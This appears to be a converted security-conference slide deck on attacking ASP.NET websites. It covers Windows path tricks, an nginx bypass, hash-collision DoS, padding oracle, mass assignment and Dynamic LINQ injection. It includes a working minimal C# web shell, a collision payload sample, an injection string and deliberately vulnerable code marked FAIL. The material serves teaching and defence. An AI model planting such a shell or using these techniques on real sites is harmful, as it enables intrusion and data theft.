

**TO HACK AN ASP .NET WEBSITE?**

**HARD, BUT POSSIBLE!**



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**Positive Technologies**



**POSITIVE TECHNOLOGIES**

# A Blast From The Past: File System

## DOS devices and reserved names:

NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - *the colon is optional, names can be used as part of the path*

## Reserved characters:

< > : " \ / | ? \*

## Case insensitivity of names:

Filename == FileName == filename == FILENAME

## Support for short names 8.3:

LongFileName.Extension ~= LONGFI~1.EXT ~= L00135~1.EXT

## Ending characters:

Filename == Filename... == Filename\\



# A Blast From The Past: File System

## Named pipe and mailslots (CreateFile):

`\\Host\pipe\<name> , \\Host\mailslot\<name>`

## Alternative syntax of relative paths:

`C:\Windows\notepad.exe == C:notepad.exe` , *if \Windows is a current catalog of C:*

## Substitutions (FindFirstFile):

`< == * , > == ? , " == .`

## UNC and Unicode paths:

`C:\Windows\System32`

`\\Host\C$\Windows\System32`

`\\.\C:\Windows\System32`

`\\?\C:\Windows\System32`

`\\?\UNC\Host\C$\Windows\System32`

**==**



# A Blast From The Past: File System

## Meta attributes and NTFS alternative data streams:

`\Directory:<Name>:<Type>\File:<Name>:<Type>`

Files Meta Attributes	Indices Meta Attributes
\$STANDARD_INFORMATION	\$INDEX_ROOT
\$FILE_NAME	<b>\$INDEX_ALLOCATION</b>
<b>\$DATA</b>	\$BITMAP
\$ATTRIBUTE_LIST	
\$OBJECT_ID	
\$REPARSE_POINT	

`C:\Windows\hh.exe == C:\Windows:$I30:$INDEX_ALLOCATION\hh.exe`

`C:\Windows\notepad.exe == C:\Windows\notepad.exe::$DATA`

`FileName.aspx == FileName.aspx:.jpg`



# [PT-2012-06] Nginx Restrictions Bypass

**Severity level:** Medium (5.0)  
(AV:N/AC:L/Au:N/C:P/I:N/A:N)

**Vulnerable versions:** Nginx for Windows <= v1.3

**Vector:** Remote

The flaw enables an intruder to forward HTTP requests to certain URL addresses, bypassing the rules set in the Location directives of the web server configuration.


By exploiting the vulnerability, a potential hacker could gain access to the application source code and closed parts of the website, detect new vulnerabilities, steal passwords to the database or other services, etc.

**:\$I30:\$INDEX\_ALLOCATION**

were processed as a part of the catalog name.

The Nginx logo is displayed in a large, green, stylized font. The letters are bold and blocky, with a slight shadow effect.

# [PT-2012-06] Nginx Restrictions Bypass



\* A stable version of nginx-1.2.0 for Windows, released 2012-04-23



# .NET Platform Architecture



# Memory Corruption

## Interaction with native libraries, use of mix assemblies

MS12-025, April 2012: - arbitrary code execution is triggered by exploitation of an integer overflow vulnerability in gdiplus.dll which causes heap corruption when calling the constructor of the `System.Drawing.Imaging.EncoderParameter` class.

## Insecure managed code

```
unsafe void bufferOverflow(string s)
{
    char* ptr = stackalloc char[10];
    foreach (var c in s)
    {
        *ptr++ = c;
    }
}
```

**FAIL**





# Turkish *I* And Other Peculiarities

If two strings are compared with no regard to the current regional settings, the result might be quite unexpected:

The English language: **I** & **i**

The Turkish language: **I** & **ı** + **İ** & **i**


```
<%@ Page Language="C#" Culture="Auto" %>
<%@ Import Namespace="System.Globalization" %>
<! DOCTYPE html>
...
<script runat="server">
...
if (Session["mode"].ToLower() != "admin")
...
if (String.Compare(Request["path"], 0,
"FILE:", 0, 5, true)
...
```

**FAIL**



# Collision of Object Hashes

**System.Object.GetHashCode()** returns a 32 bit hash code of an object (takes on values within the range from -2147483648 to 2147483647).




(<http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx>)




# Collision in ASP .NET (MS11-100)

## Standard situation:




## Unusual situation:



3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&FX4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWWY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZH6F=&DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=&LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E=&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25EWGNN5NE

... over 4Mb form data ...  
(<https://github.com/HybrisDisaster/aspHashDoS>)



# A Tricky Plan (Post-Mortem MS11-100)

1. **Create 1000 collision strings**  
for each combination ``.NET  
version'/'hardware platform'`
2. **Send each combination** as  
POST request parameters
3. **Measure the response time**  
for each request
4. ???
5. ;)



## .NET Web stack

Sites

Services

Web  
Forms

Web  
Pages

Single  
Page  
Apps

MVC


Web  
API

SignalR

Microsoft<sup>a</sup>  
**ASP.net**




# ASP.NET / MVC



# ASP.NET Peculiarities

## Special catalogs and files:

- **App\_Browser** – browsers definition (\*.browsers)
- **App\_Code** – a source code of helper classes and logics
- **App\_Data** – data stores
- **App\_GlobalResources, App\_LocalResources** – application resources (\*.resx, \*.resources)
- **App\_Themes** – topics (\*.skin, \*.css, images, etc);
- **App\_WebReferences** – links to web services (\*.wsdl, \*.xsd, \*.disco, \*.discomap)
- **Bin** – compiled builds used by the application
- **web.config, web.\*.config** – configuration files that determine settings of the web server and application



# ASP .NET Peculiarities

## Standard HTTP handlers:

- **WebResource.axd** – access to the static resources embedded in the application assemblies.
- **ScriptResource.axd** – access to JavaScripts embedded in the assemblies or stored on the disk.

## Usage:

`http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp>`

## Example:

`http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wIP  
8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3-  
kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1`

where 'd' is an encrypted parameters:

`Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c3  
8a3a9b`





# Padding Oracle (MS10-070)

## Consequences:

### – getting encryption/decryption keys:

- authentication cookies
- ViewState and Event Validation
- Arguments for WebResource.axd and ScriptResource.axd =>

## Reading arbitrary files inside the application catalog

## Corrections:

- Padding error returns a generic error message
- A random number is used as IV
- The format of encrypted strings is changed for their validation
- ScriptResource.axd can handle only \*.js files



# ASP .NET Features

## Standard HTTP handlers:

- **Trace.axd** request tracing (available only in the debugging mode)

### Request Details

#### Request Details

<b>Session Id:</b>	blk3clycpucddy45zcf15mp	<b>Request Type:</b>	
<b>Time of Request:</b>	8/7/2006 12:47:47 PM	<b>Status Code:</b>	
<b>Request Encoding:</b>	Unicode (UTF-8)	<b>Response Encoding:</b>	

#### Trace Information

Category	Message	From First(s)
aspx.page	Begin PreInit	
aspx.page	End PreInit	4.35809579150423E-05
aspx.page	Begin Init	6.90031833654836E-05
aspx.page	End Init	9.4984139045605E-05
aspx.page	Begin InitComplete	0.000113980966854726
aspx.page	End InitComplete	0.000133815890008367

#### Control Tree

Control UniqueID	Type	Render Size Bytes (including children)
__Page	ASP.default_aspx	918
ctl02	System.Web.UI.LiteralControl	175
ctl00	System.Web.UI.HtmlControls.HtmlHead	46
ctl01	System.Web.UI.HtmlControls.HtmlTitle	33
ctl03	System.Web.UI.LiteralControl	14
form1	System.Web.UI.HtmlControls.HtmlForm	663
ctl04	System.Web.UI.LiteralControl	21
TextBoxUserID	System.Web.UI.WebControls.TextBox	73
ctl05	System.Web.UI.LiteralControl	10
Button1	System.Web.UI.WebControls.Button	66
ctl06	System.Web.UI.LiteralControl	10
TextBoxPassword	System.Web.UI.WebControls.TextBox	79
ctl07	System.Web.UI.LiteralControl	10
SqlDataSource1	System.Web.UI.WebControls.SqlDataSource	0

### Application Trace

#### SampleApplication

[ [clear current trace](#) ]

Physical Directory:d:\inetpub\wwwroot\SampleApplication\

#### Requests to this Application

No.	Time of Request	File
1	6/15/2005 12:14:43 PM	/Default.aspx
2	6/15/2005 12:14:48 PM	/Home.aspx
3	6/15/2005 12:14:51 PM	/Login.aspx
4	6/15/2005 12:14:46 PM	/MembersWelc...
5	6/15/2005 12:15:03 PM	/Home.aspx



# Features of LFI exploitation

## **Response.WriteFile(<vfilename>)**

- Allows including any file, except \*.config, inside the application catalog
- The file is included statically without code execution
- Accepts virtual file name as an argument

## **Server.Execute(<vfilename>)**

- Allows including any file, except for \*.config, into the application catalog
- Calls a handler for the sent file, includes the result into the response
- Accepts virtual file name as an argument

## **File.ReadAllText(<filename>)**

- Allows including any file if obtains enough privileges
- The file is included statically without code execution
- Accepts file name as an argument



# Minimum C# Shell


```
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%=
Process.Start(
    new ProcessStartInfo(
        "cmd", "/c " + Request["c"]
    )
    {
        UseShellExecute = false,
        RedirectStandardOutput = true
    }
).StandardOutput.ReadToEnd()
%>
```



# ViewState

**Meant to transfer data on view element to the server.**

- Is transferred in the \_\_VIEWSTATE parameter
- Encryption and integrity are not ensured in many cases
- Is used by developers for session data storage on the client, though is not meant for this
- Violation of its integrity can trigger exploitation of various threats from XSS to violation of application's functionality.



# Request and Event Validations

**Request Validation** is an embedded simple WAF aimed at preventing XSS. Blocks all requests that contain:

&#  
< followed by a letter, !, / and ?

Besides, it skips extraneous parameters started with c \_\_

**Event Validation** is an embedded mechanism of event data validation. It is a \_\_EVENTVALIDATION parameter that stores hashes of acceptable elements of forms, events, ViewState, etc.

Contrary to the common belief,

**it is insufficient against CSRF attacks**

as a standard implementation instance.

```
<?xml version="1.0" encoding="utf-16"?>
<ViewState>
  <Version>2</Version>
  <VersionString>ASP.Net 2.X</VersionString>
  <MAC>None</MAC>
  <ViewStateDeserialized>
    <System.Collections.ArrayList>
      <System.Int32>1246615126</System.Int32>
      <System.Int32>1248788666</System.Int32>
      <System.Int32>1248788667</System.Int32>
      <System.Int32>1248788669</System.Int32>
      <System.Int32>-2139376881</System.Int32>
    </System.Collections.ArrayList>
  </ViewStateDeserialized>
</ViewState>
```



# Mass Assignment

## Model:

```
public class User
{
    public int Id
    { get; set; }
    public string UserName
    { get; set; }
    public string Password
    { get; set; }
    public bool IsAdmin
    { get; set; }
}
```



## Controller:

```
public class UserController : Controller
{
    IUserRepository _userRepository;
    public UserController(IUserRepository userRepository) {
        _userRepository = userRepository;
    }

    public ActionResult Edit(int id) {
        var user = _userRepository.GetUserById(id);
        return View(user);
    }

    [HttpPost]
    public ActionResult Edit(int id, FormCollection collection) {
        try {
            var user = _userRepository.GetUserById(id);
            UpdateModel(user);
            _userRepository.SaveUser(user);
            return RedirectToAction("Index");
        } catch {
            return View();
        }
    }
}
```



# Mass Assignment

```
[HttpPost]
public ActionResult Edit(int id, FormCollection collection) {
    try {
        var user = _userRepository.GetUserById(id);
        UpdateModel(user);
        _userRepository.SaveUser(user);
        return RedirectToAction("Index");
    } catch {
        return View();
    }
}
```

user	{MvcApplication2.Models.User}
user.IsAdmin	false
user.UserName	digitalBush

Edit

localhost:1123/User/Edit/42?IsAdmin=true

User

UserName  
digitalBush

FirstName  
Josh

LastName  
Bush

Save

```
[HttpPost]
public ActionResult Edit(int id, FormCollection collection) {
    try {
        var user = _userRepository.GetUserById(id);
        UpdateModel(user);
        _userRepository.SaveUser(user);
        return RedirectToAction("Index");
    } catch {
        return View();
    }
}
```

user	{MvcApplication2.Models.User}
user.IsAdmin	true
user.UserName	digitalBush

(<http://digitalbush.com/2012/03/05/mass-assignment-aspnet-mvc/>)






# LINQ Injection

**LINQ** is a query language embedded into the syntax of the .NET languages.

```
var result = from item in itemsList
where item.field1 % 2 == 0
orderby item.field2 descending
select new { item.field2, item.field3 };
```



```
var result = itemsList
.Where(x => x.field1 % 2 == 0)
.Select(x => new { x.field2, x.field3 })
.OrderByDescending(x => x.field2);
```

```
Expression.Lambda<Predicate<int>>(
    Expression.Equal(
        Expression.Modulo(
            parameterN,
            Expression.Constant(2)
        ),
        Expression.Constant(0)
    ),
    parameterN);
```



# LINQ Injection

**Dynamic LINQ** is one of a few libraries used to create dynamic run-time LINQ requests.

## Features:

- Definition of expressions by strings;
- Basic simple operations
- Access to members of static and instant data types
- Type instantiation and anonymous types construction

```
var modifier = "0";  
  
var result = itemList  
    .Where("field1 % 2 == " + modifier)  
    .Select(x => new { x.field2, x.field3 })  
    .OrderByDescending(x => x.field2);
```

What if "modifier" is formed out of input data and contains

**0 OR 1 == 1 ?**



# LINQ Injection

## **Injection's limitations in Dynamic LINQ:**

- Access to fields, properties and methods is available only for a collection type or for accessible types specified in the 'white list'
- All expression parts must be executed without errors; error messages do not contain useful output
- Injection is performable only for isolated parts of requests

## **Injection's possibilities in Dynamic LINQ:**

- Authentication / authorization bypass
- Unauthorized access to the collection data
- Abuse of functionality (provided that the collection objects have the statefull fields)
- Conduction of DoS attacks (DoS).

**Remote Code Execution is actual in other solutions**



# NorthWind DEMO

```
public AjaxStoreResult GetCustomers(int limit, int start, string dir, string sort)
{
    var query = (from c in this.DBContext.Customers
                  select new
                  {
                      c.CustomerID,
                      c.CompanyName,
                      c.ContactName,
                      c.Phone,
                      c.Fax,
                      c.Region
                  }).OrderBy(string.Concat(sort, " ", dir));

    int total = query.ToList().Count;

    query = query.Skip(start).Take(limit);
    return new AjaxStoreResult(query, total);
}
```

**FAIL**



# Demo

<http://www.youtube.com/watch?v=y60WrQwrrj0>



# **Thank You for Your Attention!**

## **Questions?**

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